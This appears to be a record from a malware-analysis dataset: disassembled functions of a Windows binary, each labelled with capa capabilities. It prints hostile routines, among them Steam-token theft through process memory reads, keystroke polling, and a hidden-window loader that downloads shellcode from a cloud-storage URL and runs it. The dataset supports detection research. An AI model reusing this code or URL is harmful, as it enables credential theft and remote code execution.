joyce8/EMBER2024-capa huggingface dataset:
Function at 0x415000
Capabilities:
Get steam token

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
push 0x64000
call dword [sym.imp.msvcrt.dll_void____cdecl_operator_new___unsigned_int_]
add esp, 4
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x458]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
push 0x41e289
lea ecx, [ebp - 0x1c]
call fcn.00418560
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x415078
mov dword [ebp - 0x45c], 0x41e28a
lea ecx, [ebp - 0x1c]
call fcn.00418620
mov eax, dword [ebp - 0x45c]
jmp 0x41520f
mov edx, 1
test edx, edx
je 0x4151de
mov byte [ebp - 0x438], 0
push 0x207
push 0
lea eax, [ebp - 0x437]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 8]
push edx
push 0xfff
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
mov edx, dword [ebp - 4]
push edx
call fcn.00414e30
add esp, 0x20
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
add eax, 0x208
mov ecx, dword [ebp - 0x24]
adc ecx, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0x24], 0
ja 0x4150fa
jb 0x4150f5
cmp dword [ebp - 0x28], 0
ja 0x4150fa
jmp 0x4151de
cmp dword [ebp - 0x24], 0
ja 0x415109
cmp dword [ebp - 0x28], 0xffff
jbe 0x415125
push 0
push 0x208
lea edx, [ebp - 0x438]
push edx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea edx, [ebp - 0x438]
push edx
lea ecx, [ebp - 0x1c]
call fcn.00418640
lea ecx, [ebp - 0x1c]
call fcn.004188f0
push eax
call dword [0x625f48]
cmp eax, 0x12c
jle 0x4151d9
lea ecx, [ebp - 0x1c]
call fcn.004188f0
push eax
lea ecx, [ebp - 0x478]
call fcn.00415250
lea eax, [ebp - 0x478]
push eax
lea ecx, [ebp - 0x454]
push ecx
call fcn.00414a90
add esp, 8
lea ecx, [ebp - 0x478]
call fcn.00407a60
lea ecx, [ebp - 0x454]
call fcn.004152b0
movzx edx, al
test edx, edx
jne 0x4151ce
lea ecx, [ebp - 0x454]
call fcn.00415290
cmp eax, 0xa
jbe 0x4151ce
lea ecx, [ebp - 0x1c]
call fcn.004188f0
mov dword [ebp - 0x47c], eax
lea ecx, [ebp - 0x454]
call fcn.00407a60
lea ecx, [ebp - 0x1c]
call fcn.00418620
mov eax, dword [ebp - 0x47c]
jmp 0x41520f
lea ecx, [ebp - 0x454]
call fcn.00407a60
jmp 0x415078
mov eax, dword [ebp - 8]
mov dword [ebp - 0x480], eax
mov ecx, dword [ebp - 0x480]
push ecx
call dword [sym.imp.msvcrt.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov dword [ebp - 0x484], 0x41e28b
lea ecx, [ebp - 0x1c]
call fcn.00418620
mov eax, dword [ebp - 0x484]
mov esp, ebp
pop ebp
ret
Function at 0x4175d0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x417600
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 8], 0
jne 0x417613
xor eax, eax
jmp 0x4176d1
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x41762e
xor eax, eax
jmp 0x4176d1
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp dword [edx], 0x4550
je 0x41764c
xor eax, eax
jmp 0x4176d1
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1c], 0
jmp 0x41768e
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [eax + 0x18]
jae 0x4176cf
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
push edx
call fcn.00416940
add esp, 8
test eax, eax
jne 0x4176cd
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
mov eax, ecx
jmp 0x4176d1
jmp 0x417685
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x41936e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4242b0]
jne 0x419378
repz ret
jmp fcn.0041a5ab
Function at 0x41a9ac
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4242b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004191e2
and dword [ebp - 0x14], 0
cmp dword [0x425758], 0
mov dword [ebp - 0x18], eax
jne 0x41aa5f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41ab07
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41ab07
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x425758], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42575c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x425760], eax
call edi
push eax
call esi
mov dword [0x425768], eax
test eax, eax
je 0x41aa5f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x425764], eax
mov eax, dword [0x425764]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41aab8
cmp dword [0x425768], ecx
je 0x41aab8
push eax
call esi
push dword [0x425768]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41aab8
test ebx, ebx
je 0x41aab8
call edi
test eax, eax
je 0x41aaaf
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41aaaf
test byte [ebp - 8], 1
jne 0x41aab8
or dword [ebp + 0x10], 0x200000
jmp 0x41aaeb
mov eax, dword [0x42575c]
cmp eax, dword [ebp - 0x18]
je 0x41aaeb
push eax
call esi
test eax, eax
je 0x41aaeb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41aaeb
mov eax, dword [0x425760]
cmp eax, dword [ebp - 0x18]
je 0x41aaeb
push eax
call esi
test eax, eax
je 0x41aaeb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x425758]
call esi
test eax, eax
je 0x41ab07
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41ab09
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041936e
leave
ret
Function at 0x403270
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4032cb
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4032cb
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x4032ba
cmp esi, edx
jae 0x4032cb
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x4032a8
cmp esi, edx
jae 0x4032cb
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop ebp
ret
xor eax, eax
pop esi
pop ebp
ret

Function at 0x405a60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ebp + 8]
mov dword [ebp + 8], eax
pop ebp
jmp fcn.0045840a
Function at 0x4090c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x576325
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x5db040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.004084c0
push 0x4b
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
push str.https:__ggkszikmkkjasf55841_1305812544.cos.ap_guangzhou.myqcloud.com_86.bin
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
call fcn.004039c0
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.00405a70
add esp, 8
push 0x40
push 0x1000
push dword [ebp - 0x30]
mov byte [ebp - 4], 1
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
test eax, eax
je 0x409185
push dword [ebp - 0x30]
cmp edi, 0xf
lea ecx, [ebp - 0x40]
cmova ecx, esi
push ecx
push eax
call fcn.0054e4c0
add esp, 0xc
call dword [ebp - 0x44]
push 0x8000
push 0
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp edi, 0xf
jbe 0x4091b1
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x4091a7
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409204
push ecx
push esi
call fcn.00549236
add esp, 8
mov ecx, dword [ebp - 0x14]
cmp ecx, 7
jbe 0x4091e7
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4091dd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409204
push ecx
push edx
call fcn.00549236
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00549495
mov esp, ebp
pop ebp
ret
call fcn.00551fba
int3
Function at 0x40d106
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
mov ebx, ecx
push edi
cmp dword [ebp + 8], esi
je 0x40d145
call fcn.0042010a
push 0xf0
push dword [ebp + 8]
mov edi, dword [eax + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40d145
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40d14d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
push esi
mov ecx, ebx
call fcn.0049eda8
pop edi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x40dc0c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
je 0x40dc98
cmp dword [esi + 0x20], 0
je 0x40dc98
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x40dc98
cmp dword [ebp + 8], 0
je 0x40dc98
xor edi, edi
mov ebx, edi
call fcn.0042010a
push 0x589230
push dword [ebp + 8]
mov eax, dword [eax + 0xc]
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 8], eax
test eax, eax
je 0x40dc7c
mov ebx, dword [ebp - 4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp - 8]
mov edi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40dc98
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push edi
push ebx
push esi
call fcn.0049f8d2
mov edi, eax
add esp, 0xc
test edi, edi
je 0x40dc94
mov ecx, esi
call fcn.0040d9aa
mov eax, edi
jmp 0x40dc9a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x4126c7
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x5767e7
call fcn.00549726
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x74], ebx
jne 0x4126ed
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x412747
lea ecx, [ebp - 0x10]
call fcn.00401fe0
mov edi, dword [edi + 0x74]
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 4], ebx
mov eax, dword [edi]
mov esi, dword [eax + 0x8c]
mov ecx, esi
call dword [0x5869a0]
mov ecx, edi
call esi
mov esi, dword [ebp + 8]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push esi
call fcn.005566fe
push eax
call fcn.00402340
add esp, 0x14
test esi, esi
je 0x41273a
push esi
call fcn.0055682b
pop ecx
mov ebx, eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.0040a30b
mov eax, ebx
call fcn.005496f4
ret 8
Function at 0x42979a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
push edi
test esi, esi
jne 0x4297b3
call fcn.0042010a
mov esi, dword [eax + 0xc]
push 0x58ba14
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
je 0x4297f5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4297f5
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x4297f5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.004297fe
jmp 0x4297f7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x44c5b5
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, ecx
mov dword [ebp - 4], esi
push edi
test ebx, ebx
je 0x44c654
mov eax, dword [esi + 0x34c]
test eax, eax
je 0x44c650
mov eax, dword [eax + 0x20]
test eax, eax
je 0x44c650
cmp dword [ebx], eax
jne 0x44c650
mov eax, dword [ebx + 4]
sub eax, 1
je 0x44c62a
sub eax, 1
je 0x44c5fa
sub eax, 1
jne 0x44c650
mov edi, 0x428e
jmp 0x44c62f
push 0x11
mov edi, 0x3ea1
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x44c62f
mov eax, dword [esi]
mov esi, dword [eax + 0x340]
mov ecx, esi
call dword [0x5869a0]
mov ecx, dword [ebp - 4]
call esi
test eax, eax
je 0x44c62f
add edi, 3
jmp 0x44c62f
mov edi, 0x3ea0
push edi
mov ecx, 0x5e274c
call fcn.00402e50
test eax, eax
je 0x44c654
mov eax, dword [0x5e274c]
mov dword [ebx + 0xc], eax
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
xor eax, eax
jmp 0x44c649
call fcn.004099c5
int3
Function at 0x458374
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x84], 0
mov esi, dword [ebx + 0x8c]
mov edi, dword [ebx + 0x88]
je 0x4583bc
call fcn.0042010a
push 5
push dword [ebx + 0x84]
mov eax, dword [eax + 0xc]
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x4583bc
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4583c9
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
xor eax, eax
inc eax
test esi, esi
je 0x458405
mov edx, 0xffff
lea ecx, [esi + 0xc]
cmp word [esi + 2], dx
jne 0x4583e8
movzx edi, word [esi + 0x12]
movzx edx, word [esi + 0x14]
jmp 0x4583f1
movzx edx, word [ecx]
mov ecx, esi
movzx edi, word [esi + 0xa]
test dword [ecx], 0x1801
jne 0x458403
test di, di
jne 0x458403
test dx, dx
je 0x458405
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x45846e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, ecx
call fcn.0042010a
push 5
push dword [ebp + 8]
mov esi, dword [eax + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x4584ae
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4584ae
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push dword [ebp + 0xc]
mov ecx, edi
push eax
call fcn.004584b6
jmp 0x4584b0
xor eax, eax
pop edi
pop esi
pop ebp
ret 8
Function at 0x4587a6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x24
mov eax, 0x579650
call fcn.0054978f
mov edi, ecx
mov dword [ebp - 0x24], edi
mov ebx, dword [edi + 0x8c]
mov esi, dword [edi + 0x88]
mov dword [ebp - 0x18], ebx
call fcn.0042010a
cmp dword [edi + 0x84], 0
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x20], eax
je 0x458805
call fcn.0042010a
push 5
push dword [edi + 0x84]
mov ebx, dword [eax + 0xc]
push ebx
mov dword [ebp - 0x20], ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x458819
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, dword [ebp - 0x18]
mov esi, eax
test esi, esi
je 0x458815
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov dword [ebp - 0x18], eax
test ebx, ebx
jne 0x458821
or eax, 0xffffffff
jmp 0x458973
mov ecx, edi
call fcn.00458da9
mov ebx, eax
mov dword [ebp - 0x2c], ebx
call fcn.0040bdd2
xor esi, esi
and dword [ebp - 0x1c], esi
and dword [ebp - 0x28], esi
mov dword [ebp - 0x14], esi
test ebx, ebx
je 0x4588ad
call dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp ebx, eax
je 0x4588ad
push ebx
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x4588ad
push esi
push ebx
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x14], 1
call fcn.0040b9e9
mov esi, eax
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x4588aa
mov ecx, dword [esi]
mov esi, dword [ecx + 0x150]
mov ecx, esi
call dword [0x5869a0]
mov ecx, dword [ebp - 0x1c]
call esi
test eax, eax
je 0x4588aa
mov esi, dword [ebp - 0x1c]
mov ecx, esi
call fcn.00412792
test eax, eax
je 0x4588aa
push 0
mov ecx, esi
call fcn.00412548
mov dword [ebp - 0x28], 1
mov esi, dword [ebp - 0x14]
and dword [ebp - 4], 0
push edi
call fcn.0040ba55
push ebx
call fcn.0040d173
push dword [ebp - 0x20]
mov ecx, edi
push eax
push dword [ebp - 0x18]
call fcn.00458749
test eax, eax
jne 0x4588f6
cmp dword [edi + 0x9c], eax
jne 0x4588f6
call fcn.0042010a
push ebx
mov eax, dword [eax + 8]
mov dword [ebp - 0x20], eax
call fcn.0040d173
push dword [ebp - 0x20]
mov ecx, edi
push eax
push dword [ebp - 0x18]
call fcn.00458749
and dword [edi + 0x9c], 0
jmp 0x458921
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x28], 0
je 0x458935
mov ecx, dword [ebp - 0x1c]
push 1
call fcn.00412548
test esi, esi
je 0x458942
push 1
push ebx
call dword [sym.imp.USER32.dll_EnableWindow]
test ebx, ebx
je 0x458958
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [edi + 0x20]
jne 0x458958
push ebx
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [edi]
mov esi, dword [eax + 0x60]
mov ecx, esi
call dword [0x5869a0]
mov ecx, edi
call esi
mov ecx, edi
call fcn.00458d60
mov eax, dword [edi + 0x68]
call fcn.005496f4
ret
Function at 0x459099
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x18
mov eax, 0x579682
call fcn.00549726
mov eax, ecx
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp + 0x10]
xor edi, edi
mov esi, dword [ebp + 0x14]
push edi
mov dword [ebx], edi
mov dword [esi], edi
cmp dword [eax + 0x58], edi
je 0x459141
push dword [ebp + 8]
call fcn.004593b8
mov dword [ebp - 0x10], eax
test eax, eax
je 0x4591c7
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], edi
push ecx
push edi
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push ecx
push edi
push dword [ebp + 0xc]
mov dword [ebp - 0x14], edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [ebp - 0x14]
mov dword [esi], ecx
test eax, eax
jne 0x45912a
push ecx
call fcn.0049e371
pop ecx
lea ecx, [ebp - 0x14]
mov dword [ebx], eax
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x45912a
xor edi, edi
inc edi
jmp 0x459134
push dword [ebx]
call fcn.004581b2
pop ecx
mov dword [ebx], edi
lea ecx, [ebp - 0x24]
call fcn.00458f60
jmp 0x4591c5
mov eax, dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
mov esi, dword [eax + 0x84]
lea eax, [ebp - 0x10]
push eax
mov ecx, esi
call dword [0x5869a0]
mov ecx, dword [ebp - 0x18]
call esi
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], 1
mov ecx, dword [eax - 0xc]
test ecx, ecx
je 0x4591bd
mov esi, dword [ebp + 0x14]
shr ecx, 1
push ecx
mov dword [esi], ecx
call fcn.0049e371
mov dword [ebx], eax
pop ecx
cmp dword [esi], edi
jbe 0x4591b7
lea esi, [edi + edi]
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x10]
call fcn.004243ab
push esi
lea ecx, [ebp - 0x10]
mov bl, al
call fcn.004243ab
mov ecx, dword [ebp + 0x10]
shl bl, 4
sub bl, 0x51
add al, bl
mov ecx, dword [ecx]
mov byte [edi + ecx], al
inc edi
mov eax, dword [ebp + 0x14]
cmp edi, dword [eax]
jb 0x459185
mov eax, dword [ebp - 0x10]
xor edi, edi
inc edi
lea ecx, [eax - 0x10]
call fcn.0040a30b
mov eax, edi
call fcn.005496f4
ret 0x10

Function at 0x4591cf
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
cmp dword [ecx + 0x58], esi
je 0x459222
push esi
push dword [ebp + 8]
call fcn.004593b8
mov edi, eax
test edi, edi
je 0x45921d
lea eax, [ebp - 4]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x45921d
mov eax, dword [ebp - 8]
jmp 0x459234
mov eax, dword [ebp + 0x10]
jmp 0x459234
push dword [ecx + 0x6c]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
pop edi
pop esi
leave
ret 0xc